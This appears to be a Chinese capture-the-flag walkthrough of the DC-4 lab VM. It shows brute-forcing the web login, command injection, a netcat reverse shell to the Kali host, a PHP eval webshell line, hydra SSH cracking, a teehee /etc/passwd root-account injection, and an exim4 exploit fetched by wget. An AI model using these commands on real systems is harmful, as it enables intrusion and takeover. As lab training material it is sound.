靶场环境

局域网网段:192.168.47.0/24

攻击机 kali:192.168.47.138/24

目标器 DC-3:192.168.47.139/24

打靶目标

找到藏在DC-4靶机中的flag,只有最终的flag。

信息收集

已知目标机器和攻击机器在同一个局域网内,网段为192.168.47.0/24。

寻找靶机真实IP

同样使用nmap扫描网段内的ip,使用命令:

nmap -sP 192.168.47.0/24
-sP参数常用于发现主机,而不进行端口扫描,使用ping,也就是发送icmp数据包,探测ip段内的主机是否在线

目标机器IP:192.168.47.139

探测服务以及端口

nmap使用命令

nmap -A -p- -v 192.168.47.139/24
-A表示全面扫描,包括端口,服务,操作系统等等。-p-是扫描主机开放的全部端口,而不只是常见的端口。-v就是显示更详细的扫描结果和信息。

靶机开放了web服务和ssh服务,web服务没有扫描到特定的框架。先游览器访问,

打开就是登录框了,看来是要登录进去了,获取最终的flag。

寻找最终flag

爆破账户密码

只有一个登录框,也没有别的什么目录文件,看来确实要登录进去了。要么弱口令要么爆破。弱口令试了几次没有成功,那么就开始爆破吧,针对于爆破,字典要选对。burp抓包,爆破,用户名就默认为admin

以下这几个密码都可以登录进去,用happy作为密码登录

登录成功。

命令执行getshell

点进去Command,发现可以执行三个命令,

如果网站是在前端限制了我们执行的命令只能是这三个,那么我们就可以抓包修改任意命令执行了。

可以任意命令执行,本来下一步尝试写马进去,可是根本写不进去。

echo "<?php eval($_POST[123]);?>">123.php

后来才知道www-data的权限太低了,连文件都创建不了。看一下执行命令的代码逻辑:

尝试使用反弹shell,把shell反弹到kali机上。kali机监听9955端口

执行的命令为:

nc -e /bin/bash 192.168.47.138 9955

注意在http报文中修改的时候将空格url编码一下。

成功反弹到kali机上,老样子,优化一下shell

下一步就得提权了。

Linux提权

这里看文章有两种提权的方法,索性都记录下来,增加知识面

hydra爆破ssh密码
Hydra 是一个开源的密码爆破工具,用于渗透测试和安全评估。它被设计用于在授权范围内的测试中测试密码弱点,以帮助确认系统的安全性。

Hydra 具有多协议支持,包括常见的协议和服务,如 SSH、FTP、HTTP、SMTP 等。它使用字典攻击和暴力破解等技术,尝试使用大量的用户名和密码组合来破解目标系统的认证机制。

ssh服务还没有用到,进入到home目录有三个用户,随便找找发现一个记录密码的备份文件

把这些密码保存下来,可以作为爆破字典。接下来就用工具爆破jim的ssh密码。

hydra -l jim -P /home/xilitter/桌面/new_password.txt 192.168.47.139 ssh
说一下hydra工具的几个使用参数:
-l 指定的用户名 -P 指定包含密码列表的文件 -t 指定并行线程数 -s 指定服务的端口号 -f 在成功找到用户名/密码组合后立即停止攻击 -e 指定要尝试的特定模块 -o 将结果保存到指定的输出文件中

爆破出了密码为jibril04。

ssh远程连接
ssh jim@192.168.47.139

登录成功,随便找找发现charles用户的密码

/var/spool/mail

在此路径下的一封邮件里:

Charles的密码为^xHhA&hvim0y,尝试切换用户登录

成功切换。

teehee提权

使用命令sudo -l查看一下该用户可以用特级权限使用哪些命令。

teehee是个小众的linux编辑器,如果它具有sudo权限,那么就可以利用并且提权。

使用以下命令提权

echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
将admin::0:0:::/bin/bash写进/etc/passwd里
"admin"是用户名,"::"是密码字段,表示没有设置密码。
"0:0"是用户ID和组ID "::"是用户信息字段
"/bin/bash"是登录时使用的默认的shell
没有设置密码的admin为管理员权限,运行shell即可提升权限

切换admin用户,成功提升权限。

exim4提权

记录一下另一种提权方法。

当前权限:

查看具有SUID权限的命令

find / -user root -perm -4000 -print 2>/dev/null

exim4具有SUID权限,另外它也是可以用来提权的。

Exim4 是一个开源的邮件传输代理(Mail Transfer Agent,MTA),用于在 Unix/Linux 系统上路由和传递电子邮件。作为一个 MTA,Exim4 负责接收来自发送者的邮件,并将其传递给目标收件人的邮件服务器。

查看Exim4的版本

从本地库中查找相关漏洞。

searchsploit exim 4 

对应版本是有漏洞的,需要下载提权脚本到靶机。

kali机开启web服务,因为需要靶机从我们的kali机上下载提权脚本,木马也写不进去,只能这么做了。

systemctl start apache2.service  

将提权脚本复制到kali机的web根目录下面

cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html 

靶机从kali机上wget下载脚本,切换到tmp目录下进行下载,还是那句话,权限太低了。

wget http://192.168.47.138/46996.sh

下载成功后,给脚本加执行权限,然后执行脚本

成功提升权限。

root目录下找到最后的flag,DC-4靶机通关结束。